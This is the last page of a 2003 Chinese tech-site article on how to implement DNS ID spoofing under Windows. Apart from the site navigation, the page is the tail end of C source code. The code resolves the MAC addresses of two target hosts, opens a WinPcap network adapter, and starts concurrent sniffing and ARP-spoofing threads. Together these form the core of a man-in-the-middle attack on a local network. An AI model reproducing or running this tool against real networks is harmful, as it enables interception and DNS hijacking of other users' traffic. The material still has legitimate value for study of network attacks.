首页产品库评测行情新闻|手机数码笔记本台式机DIY硬件数字家庭数码相机办公外设|软件下载游戏开发|社区

更多

数码相机
MP4
LCD
机箱
音箱

天极网 > 软件频道>Windows下DNS ID欺骗实现与原理

Windows下DNS ID欺骗实现与原理

2003-09-23 14:31作者:出处:中华安全网责任编辑:

  ullen=6;
  memset(pulmac,0xff,sizeof(pulmac));  
  destip=firstip;
  if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR)
  {
    printf("SendARP firstip Error: %d\n",GetLastError());
    return FALSE;
  }
  memcpy(fmac,pulmac,6);

  memset(pulmac,0xff,sizeof(pulmac));
  destip=secondip;
  if((hr=SendARP(destip,0,pulmac,&ullen))!=NO_ERROR)
  {
    printf("SendARP secondip Error: %d\n",GetLastError());
    return FALSE;
  }
  memcpy(smac,pulmac,6);

  return TRUE;
}


int main(int argc,char *argv[])
{
  HANDLE  thread[2];
  WCHAR  adaptername[8192];
  WCHAR  *name1,*name2;
  ULONG  adapterlength;
  DWORD  threadsid,threadrid;
  int   adapternum=0,open,i;

  system("cls.exe");
  start();
  if(argc!=4)
  {
    usage();
    return -1;
  }

  firstip=inet_addr(argv[1]);
  secondip=inet_addr(argv[2]);
  virtualip=inet_addr(argv[3]);
  if(getmac()==FALSE)
  {
    return -1;
  }

  adapterlength=sizeof(adaptername);

  if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
  {
    printf("PacketGetAdapterNames Error: %d\n",GetLastError());
    return -1;
  }

  name1=adaptername;
  name2=adaptername;
  i=0;

  while((*name1!='\0') || (*(name1-1)!='\0'))
  {
    if(*name1=='\0')
    {
      memcpy(adapterlist[i],name2,2*(name1-name2));
      name2=name1+1;
      i++;
    }
    name1++;
  }

  adapternum=i;
  printf("Adapters Installed: \n");
  for(i=0;i<adapternum;i++)
  {
    wprintf(L"%d - %s\n",i+1,adapterlist[i]); 
  }
  do
  {
    printf("\nSelect the number of the adapter to open: ");
    scanf("%d",&open);
    if(open>=1 && open<=adapternum)
      break;
  }while(open<1 || open>adapternum);

  lpadapter=PacketOpenAdapter(adapterlist[open-1]);
  if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
  {
    printf("PacketOpenAdapter Error: %d\n",GetLastError());
    return -1;
  }

  if((lppackets=PacketAllocatePacket())==FALSE)
  {
    printf("PacketAllocatePacket Send Error: %d\n",GetLastError());
    return -1;
  }

  thread[0]=CreateThread(NULL,0,sniff,NULL,0,&threadrid);
  if(thread[0]==NULL)
  {
    printf("CreateThread for sniffer Error: %d\n",GetLastError());
    return -1;
  }
  thread[1]=CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
  if(thread[1]==NULL)
  {
    printf("CreateThread for arpspoof Error: %d\n",GetLastError());
    return -1;
  }
  WaitForMultipleObjects(2,thread,FALSE,INFINITE);

  CloseHandle(thread[0]);
  CloseHandle(thread[1]);
  PacketFreePacket(lppackets);
  PacketFreePacket(lppacketr);
  PacketCloseAdapter(lpadapter);

  return 0;
}

共7页。 9 7 1 2 3 4 5 6 7

关注此文的读者还看过:

返回软件频道首页

共7页。 上一页1234567

软件频道最新更新

热点推荐

天极服务|关于我们|About us|网站律师|RSS订阅|友情合作|加入我们|天极动态|网站地图|意见反馈|MSN/QQ上看天极
Copyright (C) 1999-2012 Yesky.com, All Rights Reserved 版权所有 天极网络